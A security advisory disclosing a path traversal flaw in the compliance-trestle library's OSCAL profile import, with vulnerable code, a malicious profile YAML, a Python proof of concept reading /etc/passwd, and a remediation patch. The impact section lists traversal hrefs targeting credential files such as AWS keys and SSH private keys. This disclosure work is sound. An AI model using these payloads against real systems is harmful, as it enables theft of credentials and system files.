PT-2026-59098 · Pypi · Compliance-Trestle
Published
2026-07-13
·
Updated
2026-07-13
CVSS v4.0
5.4
Medium
| Vector | AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P |
Summary
The compliance-trestle library's profile import mechanism resolves
trestle:// URIs and relative file paths by joining them with trestle root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.Three attack vectors confirmed:
- PT-001:
trestle://../../etc/passwd— via trestle:// URI scheme - PT-002:
../../etc/passwd— via relative path in href - PT-003: back matter rlinks with traversal paths
Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.
Affected Component
Repository: https://github.com/IBM/compliance-trestle
File:
trestle/core/remote/cache.py (lines 175-179)
File: trestle/core/resolver/ import.py (line 104)
Version: v4.0.2 (latest as of 2026-04-30)Vulnerable Code
cache.py:175-179 — LocalFetcher (trestle:// URI handling)
python
class LocalFetcher(FetcherBase):
def init (self, trestle root: pathlib.Path, uri: str) -> None:
super(). init (trestle root, uri)
# ...
elif uri.startswith(const.TRESTLE HREF HEADING):
uri = str(trestle root / uri[len(const.TRESTLE HREF HEADING) :])
self. abs path = pathlib.Path(uri).resolve()
# ❌ NO boundary check — .resolve() follows ../
# ❌ NO is relative to() validation
# ❌ Result can be /etc/passwd
self. cached object path = self. abs path
returncache.py:194 — LocalFetcher (relative path handling)
python
# For relative paths (no trestle:// or file:// prefix):
try:
self. abs path = pathlib.Path(uri).resolve()
# ❌ Same issue — resolves relative to CWD with no boundary check
except Exception:
raise TrestleError(...)import.py:73-104 — Profile import href resolution
python
class Import(Pipeline.Filter):
def init (self, ...):
# Line 73-83: back matter rlinks used directly
if self. import.href[0] == '#':
resource = [r for r in self. resources if r.uuid == self. import.href[1:]][0]
self. import.href = [
rlink.href # ❌ rlink.href from OSCAL data — user-controlled
for rlink in resource.rlinks
if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
][0]
# Line 104: href passed directly to FetcherFactory
fetcher = cache.FetcherFactory.get fetcher(self. trestle root, self. import.href)Root Cause:
Path(trestle root / "../../etc/passwd").resolve()=/etc/passwd- No
is relative to(trestle root)check after resolve TRESTLE HREF REGEXdefined atconst.py:253but NEVER enforced (dead code)- Even if enforced, the regex
'^trestle://[^/]'would PASS traversal payloads (.is[^/])
Steps to Reproduce
Prerequisites
bash
pip install compliance-trestle==4.0.2PoC: Malicious OSCAL Profile
yaml
# malicious profile.yaml
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
- href: "trestle://../../../../../../etc/passwd"PoC: Direct LocalFetcher Exploit
python
#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile
trestle root = Path(tempfile.mkdtemp())
# Normal usage — stays within workspace
normal = LocalFetcher(trestle root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal. abs path}") # /tmp/xxx/catalogs/test/catalog.json
# Exploit — escapes workspace
evil = LocalFetcher(trestle root, "trestle://../../../../../../etc/passwd")
print(f"Evil: {evil. abs path}") # /etc/passwd
print(f"Content: {evil. abs path.read text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bashExpected: Path traversal blocked with error
Actual:
/etc/passwd, /etc/shadow, /proc/self/environ read successfullyRemediation
python
class LocalFetcher(FetcherBase):
def init (self, trestle root: pathlib.Path, uri: str) -> None:
super(). init (trestle root, uri)
# ...
elif uri.startswith(const.TRESTLE HREF HEADING):
uri = str(trestle root / uri[len(const.TRESTLE HREF HEADING) :])
self. abs path = pathlib.Path(uri).resolve()
# ✅ ADD: Boundary check
if not self. abs path.is relative to(self. trestle root):
raise TrestleError(
f"Path traversal blocked: resolved path '{self. abs path}' "
f"is outside trestle root '{self. trestle root}'"
)
self. cached object path = self. abs path
returnSame fix needed for relative path handling at line 194.
Additionally, enforce
TRESTLE HREF REGEX (already defined at const.py:253 but never used).Resources
- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- OSCAL Profile Resolution: https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/
- compliance-trestle: https://github.com/IBM/compliance-trestle
Impact
- Credential Theft via OSCAL Import:
yaml
imports:
- href: "trestle://../../root/.aws/credentials"
- href: "trestle://../../root/.ssh/id rsa"- System Reconnaissance:
yaml
imports:
- href: "trestle://../../etc/passwd"
- href: "trestle://../../proc/self/environ"-
Supply Chain Attack: Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.
-
Dead Code Evidence:
TRESTLE HREF REGEXdefined atconst.py:253but never enforced anywhere — proves path validation was INTENDED but never implemented.
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Compliance-Trestle